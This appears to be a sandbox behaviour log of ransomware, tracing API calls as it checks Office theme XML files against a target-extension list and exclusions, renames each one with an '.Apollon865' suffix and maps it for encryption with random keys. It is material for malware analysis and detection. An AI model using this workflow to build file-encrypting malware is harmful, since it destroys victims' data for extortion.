	[0073.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml") returned 76
	[0073.803] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Black Tie.xml" | out: lpString1="Black Tie.xml") returned="Black Tie.xml"
	[0073.803] lstrlenW (lpString="Black Tie.xml") returned 13
	[0073.803] lstrlenW (lpString="Apollon865") returned 10
	[0073.804] lstrcmpiW (lpString1="ck Tie.xml", lpString2="Apollon865") returned 1
	[0073.804] lstrlenW (lpString=".dll") returned 4
	[0073.804] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".dll") returned 1
	[0073.804] lstrlenW (lpString=".lnk") returned 4
	[0073.804] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".lnk") returned 1
	[0073.804] lstrlenW (lpString=".ini") returned 4
	[0073.804] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".ini") returned 1
	[0073.804] lstrlenW (lpString=".sys") returned 4
	[0073.804] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".sys") returned 1
	[0073.804] lstrlenW (lpString="Black Tie.xml") returned 13
	[0073.804] lstrlenW (lpString="bak") returned 3
	[0073.804] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0073.804] lstrlenW (lpString="ba_") returned 3
	[0073.804] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0073.804] lstrlenW (lpString="dbb") returned 3
	[0073.804] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0073.804] lstrlenW (lpString="vmdk") returned 4
	[0073.804] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0073.804] lstrlenW (lpString="rar") returned 3
	[0073.804] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0073.804] lstrlenW (lpString="zip") returned 3
	[0073.804] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0073.804] lstrlenW (lpString="tgz") returned 3
	[0073.804] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0073.804] lstrlenW (lpString="vbox") returned 4
	[0073.804] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0073.804] lstrlenW (lpString="vdi") returned 3
	[0073.804] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0073.804] lstrlenW (lpString="vhd") returned 3
	[0073.804] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0073.804] lstrlenW (lpString="vhdx") returned 4
	[0073.804] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0073.804] lstrlenW (lpString="avhd") returned 4
	[0073.804] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0073.804] lstrlenW (lpString="db") returned 2
	[0073.804] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0073.804] lstrlenW (lpString="db2") returned 3
	[0073.804] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0073.805] lstrlenW (lpString="db3") returned 3
	[0073.805] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0073.805] lstrlenW (lpString="dbf") returned 3
	[0073.805] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0073.805] lstrlenW (lpString="mdf") returned 3
	[0073.805] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0073.805] lstrlenW (lpString="mdb") returned 3
	[0073.805] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0073.805] lstrlenW (lpString="sql") returned 3
	[0073.805] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0073.805] lstrlenW (lpString="sqlite") returned 6
	[0073.805] lstrcmpiW (lpString1="ie.xml", lpString2="sqlite") returned -1
	[0073.805] lstrlenW (lpString="sqlite3") returned 7
	[0073.805] lstrcmpiW (lpString1="Tie.xml", lpString2="sqlite3") returned 1
	[0073.805] lstrlenW (lpString="sqlitedb") returned 8
	[0073.805] lstrcmpiW (lpString1=" Tie.xml", lpString2="sqlitedb") returned -1
	[0073.805] lstrlenW (lpString="xml") returned 3
	[0073.805] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0073.805] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.Apollon865") returned 90
	[0073.805] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.806] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=927) returned 1
	[0073.806] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.807] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.807] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.807] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x118
	[0073.808] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000
	[0073.809] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.810] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.810] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.810] lstrcmpiW (lpString1="Civic.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.810] lstrcmpiW (lpString1="Civic.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.810] lstrcmpiW (lpString1="Civic.xml", lpString2=".") returned 1
	[0073.810] lstrcmpiW (lpString1="Civic.xml", lpString2="..") returned 1
	[0073.810] lstrcmpiW (lpString1="Civic.xml", lpString2="windows") returned -1
	[0073.810] lstrcmpiW (lpString1="Civic.xml", lpString2="bootmgr") returned 1
	[0073.811] lstrcmpiW (lpString1="Civic.xml", lpString2="temp") returned -1
	[0073.811] lstrcmpiW (lpString1="Civic.xml", lpString2="pagefile.sys") returned -1
	[0073.811] lstrcmpiW (lpString1="Civic.xml", lpString2="boot") returned 1
	[0073.811] lstrcmpiW (lpString1="Civic.xml", lpString2="ids.txt") returned -1
	[0073.811] lstrcmpiW (lpString1="Civic.xml", lpString2="ntuser.dat") returned -1
	[0073.811] lstrcmpiW (lpString1="Civic.xml", lpString2="perflogs") returned -1
	[0073.811] lstrcmpiW (lpString1="Civic.xml", lpString2="MSBuild") returned -1
	[0073.811] lstrlenW (lpString="Civic.xml") returned 9
	[0073.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml") returned 79
	[0073.811] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Civic.xml" | out: lpString1="Civic.xml") returned="Civic.xml"
	[0073.811] lstrlenW (lpString="Civic.xml") returned 9
	[0073.811] lstrlenW (lpString="Apollon865") returned 10
	[0073.811] lstrlenW (lpString=".dll") returned 4
	[0073.811] lstrcmpiW (lpString1="Civic.xml", lpString2=".dll") returned 1
	[0073.811] lstrlenW (lpString=".lnk") returned 4
	[0073.811] lstrcmpiW (lpString1="Civic.xml", lpString2=".lnk") returned 1
	[0073.811] lstrlenW (lpString=".ini") returned 4
	[0073.811] lstrcmpiW (lpString1="Civic.xml", lpString2=".ini") returned 1
	[0073.811] lstrlenW (lpString=".sys") returned 4
	[0073.811] lstrcmpiW (lpString1="Civic.xml", lpString2=".sys") returned 1
	[0073.811] lstrlenW (lpString="Civic.xml") returned 9
	[0073.811] lstrlenW (lpString="bak") returned 3
	[0073.811] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0073.811] lstrlenW (lpString="ba_") returned 3
	[0073.811] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0073.811] lstrlenW (lpString="dbb") returned 3
	[0073.811] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0073.811] lstrlenW (lpString="vmdk") returned 4
	[0073.811] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0073.811] lstrlenW (lpString="rar") returned 3
	[0073.811] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0073.811] lstrlenW (lpString="zip") returned 3
	[0073.811] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0073.811] lstrlenW (lpString="tgz") returned 3
	[0073.811] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0073.811] lstrlenW (lpString="vbox") returned 4
	[0073.811] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0073.812] lstrlenW (lpString="vdi") returned 3
	[0073.812] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0073.812] lstrlenW (lpString="vhd") returned 3
	[0073.812] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0073.812] lstrlenW (lpString="vhdx") returned 4
	[0073.812] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0073.812] lstrlenW (lpString="avhd") returned 4
	[0073.812] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0073.812] lstrlenW (lpString="db") returned 2
	[0073.812] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0073.812] lstrlenW (lpString="db2") returned 3
	[0073.812] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0073.812] lstrlenW (lpString="db3") returned 3
	[0073.812] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0073.812] lstrlenW (lpString="dbf") returned 3
	[0073.812] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0073.812] lstrlenW (lpString="mdf") returned 3
	[0073.812] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0073.812] lstrlenW (lpString="mdb") returned 3
	[0073.812] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0073.812] lstrlenW (lpString="sql") returned 3
	[0073.812] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0073.812] lstrlenW (lpString="sqlite") returned 6
	[0073.812] lstrcmpiW (lpString1="ic.xml", lpString2="sqlite") returned -1
	[0073.812] lstrlenW (lpString="sqlite3") returned 7
	[0073.812] lstrcmpiW (lpString1="vic.xml", lpString2="sqlite3") returned 1
	[0073.812] lstrlenW (lpString="sqlitedb") returned 8
	[0073.812] lstrcmpiW (lpString1="ivic.xml", lpString2="sqlitedb") returned -1
	[0073.812] lstrlenW (lpString="xml") returned 3
	[0073.812] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0073.812] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.Apollon865") returned 86
	[0073.812] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.813] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=960) returned 1
	[0073.814] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.814] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.814] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.814] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x118
	[0073.816] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000
	[0073.816] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.817] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.817] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.817] lstrcmpiW (lpString1="Clarity.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.817] lstrcmpiW (lpString1="Clarity.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2=".") returned 1
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2="..") returned 1
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2="windows") returned -1
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2="bootmgr") returned 1
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2="temp") returned -1
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2="pagefile.sys") returned -1
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2="boot") returned 1
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2="ids.txt") returned -1
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2="ntuser.dat") returned -1
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2="perflogs") returned -1
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2="MSBuild") returned -1
	[0073.818] lstrlenW (lpString="Clarity.xml") returned 11
	[0073.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml") returned 75
	[0073.818] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Clarity.xml" | out: lpString1="Clarity.xml") returned="Clarity.xml"
	[0073.818] lstrlenW (lpString="Clarity.xml") returned 11
	[0073.818] lstrlenW (lpString="Apollon865") returned 10
	[0073.818] lstrcmpiW (lpString1="larity.xml", lpString2="Apollon865") returned 1
	[0073.818] lstrlenW (lpString=".dll") returned 4
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2=".dll") returned 1
	[0073.818] lstrlenW (lpString=".lnk") returned 4
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2=".lnk") returned 1
	[0073.818] lstrlenW (lpString=".ini") returned 4
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2=".ini") returned 1
	[0073.818] lstrlenW (lpString=".sys") returned 4
	[0073.818] lstrcmpiW (lpString1="Clarity.xml", lpString2=".sys") returned 1
	[0073.818] lstrlenW (lpString="Clarity.xml") returned 11
	[0073.818] lstrlenW (lpString="bak") returned 3
	[0073.818] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0073.818] lstrlenW (lpString="ba_") returned 3
	[0073.818] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0073.818] lstrlenW (lpString="dbb") returned 3
	[0073.818] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0073.818] lstrlenW (lpString="vmdk") returned 4
	[0073.818] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0073.818] lstrlenW (lpString="rar") returned 3
	[0073.818] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0073.818] lstrlenW (lpString="zip") returned 3
	[0073.819] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0073.819] lstrlenW (lpString="tgz") returned 3
	[0073.819] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0073.819] lstrlenW (lpString="vbox") returned 4
	[0073.819] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0073.819] lstrlenW (lpString="vdi") returned 3
	[0073.819] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0073.819] lstrlenW (lpString="vhd") returned 3
	[0073.819] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0073.819] lstrlenW (lpString="vhdx") returned 4
	[0073.819] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0073.819] lstrlenW (lpString="avhd") returned 4
	[0073.819] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0073.819] lstrlenW (lpString="db") returned 2
	[0073.819] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0073.819] lstrlenW (lpString="db2") returned 3
	[0073.819] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0073.819] lstrlenW (lpString="db3") returned 3
	[0073.819] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0073.819] lstrlenW (lpString="dbf") returned 3
	[0073.819] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0073.819] lstrlenW (lpString="mdf") returned 3
	[0073.819] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0073.819] lstrlenW (lpString="mdb") returned 3
	[0073.819] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0073.819] lstrlenW (lpString="sql") returned 3
	[0073.819] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0073.819] lstrlenW (lpString="sqlite") returned 6
	[0073.819] lstrcmpiW (lpString1="ty.xml", lpString2="sqlite") returned 1
	[0073.819] lstrlenW (lpString="sqlite3") returned 7
	[0073.819] lstrcmpiW (lpString1="ity.xml", lpString2="sqlite3") returned -1
	[0073.819] lstrlenW (lpString="sqlitedb") returned 8
	[0073.819] lstrcmpiW (lpString1="rity.xml", lpString2="sqlitedb") returned -1
	[0073.819] lstrlenW (lpString="xml") returned 3
	[0073.819] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0073.819] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.Apollon865") returned 88
	[0073.819] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.821] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=926) returned 1
	[0073.821] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.821] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.821] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.822] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x118
	[0073.825] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000
	[0073.826] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.826] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.826] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.827] lstrcmpiW (lpString1="Composite.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.827] lstrcmpiW (lpString1="Composite.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.827] lstrcmpiW (lpString1="Composite.xml", lpString2=".") returned 1
	[0073.827] lstrcmpiW (lpString1="Composite.xml", lpString2="..") returned 1
	[0073.827] lstrcmpiW (lpString1="Composite.xml", lpString2="windows") returned -1
	[0073.827] lstrcmpiW (lpString1="Composite.xml", lpString2="bootmgr") returned 1
	[0073.827] lstrcmpiW (lpString1="Composite.xml", lpString2="temp") returned -1
	[0073.827] lstrcmpiW (lpString1="Composite.xml", lpString2="pagefile.sys") returned -1
	[0073.827] lstrcmpiW (lpString1="Composite.xml", lpString2="boot") returned 1
	[0073.827] lstrcmpiW (lpString1="Composite.xml", lpString2="ids.txt") returned -1
	[0073.827] lstrcmpiW (lpString1="Composite.xml", lpString2="ntuser.dat") returned -1
	[0073.827] lstrcmpiW (lpString1="Composite.xml", lpString2="perflogs") returned -1
	[0073.827] lstrcmpiW (lpString1="Composite.xml", lpString2="MSBuild") returned -1
	[0073.827] lstrlenW (lpString="Composite.xml") returned 13
	[0073.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml") returned 77
	[0073.827] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Composite.xml" | out: lpString1="Composite.xml") returned="Composite.xml"
	[0073.827] lstrlenW (lpString="Composite.xml") returned 13
	[0073.827] lstrlenW (lpString="Apollon865") returned 10
	[0073.827] lstrcmpiW (lpString1="posite.xml", lpString2="Apollon865") returned 1
	[0073.827] lstrlenW (lpString=".dll") returned 4
	[0073.827] lstrcmpiW (lpString1="Composite.xml", lpString2=".dll") returned 1
	[0073.827] lstrlenW (lpString=".lnk") returned 4
	[0073.828] lstrcmpiW (lpString1="Composite.xml", lpString2=".lnk") returned 1
	[0073.828] lstrlenW (lpString=".ini") returned 4
	[0073.828] lstrcmpiW (lpString1="Composite.xml", lpString2=".ini") returned 1
	[0073.828] lstrlenW (lpString=".sys") returned 4
	[0073.828] lstrcmpiW (lpString1="Composite.xml", lpString2=".sys") returned 1
	[0073.828] lstrlenW (lpString="Composite.xml") returned 13
	[0073.828] lstrlenW (lpString="bak") returned 3
	[0073.828] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0073.828] lstrlenW (lpString="ba_") returned 3
	[0073.828] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0073.828] lstrlenW (lpString="dbb") returned 3
	[0073.828] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0073.828] lstrlenW (lpString="vmdk") returned 4
	[0073.828] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0073.828] lstrlenW (lpString="rar") returned 3
	[0073.828] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0073.828] lstrlenW (lpString="zip") returned 3
	[0073.828] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0073.828] lstrlenW (lpString="tgz") returned 3
	[0073.828] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0073.828] lstrlenW (lpString="vbox") returned 4
	[0073.828] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0073.828] lstrlenW (lpString="vdi") returned 3
	[0073.828] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0073.828] lstrlenW (lpString="vhd") returned 3
	[0073.828] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0073.828] lstrlenW (lpString="vhdx") returned 4
	[0073.828] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0073.828] lstrlenW (lpString="avhd") returned 4
	[0073.828] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0073.828] lstrlenW (lpString="db") returned 2
	[0073.828] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0073.828] lstrlenW (lpString="db2") returned 3
	[0073.828] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0073.828] lstrlenW (lpString="db3") returned 3
	[0073.828] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0073.828] lstrlenW (lpString="dbf") returned 3
	[0073.829] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0073.829] lstrlenW (lpString="mdf") returned 3
	[0073.829] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0073.829] lstrlenW (lpString="mdb") returned 3
	[0073.829] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0073.829] lstrlenW (lpString="sql") returned 3
	[0073.829] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0073.829] lstrlenW (lpString="sqlite") returned 6
	[0073.829] lstrcmpiW (lpString1="te.xml", lpString2="sqlite") returned 1
	[0073.829] lstrlenW (lpString="sqlite3") returned 7
	[0073.829] lstrcmpiW (lpString1="ite.xml", lpString2="sqlite3") returned -1
	[0073.829] lstrlenW (lpString="sqlitedb") returned 8
	[0073.829] lstrcmpiW (lpString1="site.xml", lpString2="sqlitedb") returned -1
	[0073.829] lstrlenW (lpString="xml") returned 3
	[0073.829] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0073.829] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.Apollon865") returned 90
	[0073.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.831] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=964) returned 1
	[0073.831] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.831] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.831] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.832] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.833] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
